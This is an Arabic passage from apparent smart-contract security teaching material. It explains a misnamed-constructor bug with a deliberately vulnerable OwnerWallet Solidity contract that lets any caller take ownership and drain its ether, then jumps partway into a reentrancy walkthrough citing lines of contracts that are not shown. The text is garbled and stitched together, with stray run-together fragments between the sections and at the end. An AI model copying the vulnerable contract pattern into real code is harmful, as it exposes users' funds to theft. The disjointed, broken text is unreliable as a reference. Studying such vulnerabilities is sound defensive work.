إذا تم تعديل اسم العقد، أو كان هناك خطأ إملائي في اسم المُنشئ بحيث لم يعد يطابق اسم العقد، فإن المُنشئ سيتصرف كدالة عادية. يمكن أن يؤدي هذا إلى عواقب وخيمة، خاصة إذا كان المُنشئ ينفذ عمليات مميزة. خذ بعين الاعتبار العقد التالي```solidity
contract OwnerWallet {
address public owner;
//constructor
function ownerWallet(address _owner) public {
owner = _owner;
}
// fallback. Collect ether.
function () payable {}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(this.balance);
}
}
10 ether9 etherAttack.sol - السطر [27] - تقوم الدالة الاحتياطية بعد ذلك باستدعاء الدالة withdrawFunds() في عقد EtherStore مرة أخرى و"تعيد الدخول" إلى عقد EtherStore.
EtherStore.sol - السطر [11] - في هذا الاستدعاء الثاني للدالة withdrawFunds()، ما يزال رصيدنا 1 ether لأن السطر [18] لم يُنفَّذ بعد. وبالتالي، ما تزال لدينا balances[0x0..123] = 1 ether. وينطبق الأمر نفسه على المتغير lastWithdrawTime. ومرة أخرى، نلبي جميع المتطلبات.
EtherStore.sol - السطر [17] - نسحب 1 ether إضافيًا.
ستتكرر الخطوات من 4 إلى 8 - حتى يصبح EtherStore.balance >= 1 وفقًا لما ينص عليه السطر [26] في Attack.sol.
Attack.sol - السطر [26] - بمجرد أن يتبقى 1 (أو أقل) من الإيثر في عقد EtherStore، ستفشل هذه العبارة الشرطية. وهذا سيسمح بعد ذلك بتنفيذ السطرين [18] و[19] من عقد EtherStore (لكل استدعاء للدالة withdrawFunds()).
EtherStore.sol - السطران [18] و[19] - سيتم ضبط التخطيطين balances وlastWithdrawTime وسينتهي التنفيذ.
FibonacciBalancestartfibonacci(n)uintwithdraw()uint(fibonacciLibrary)calculatedFibNumber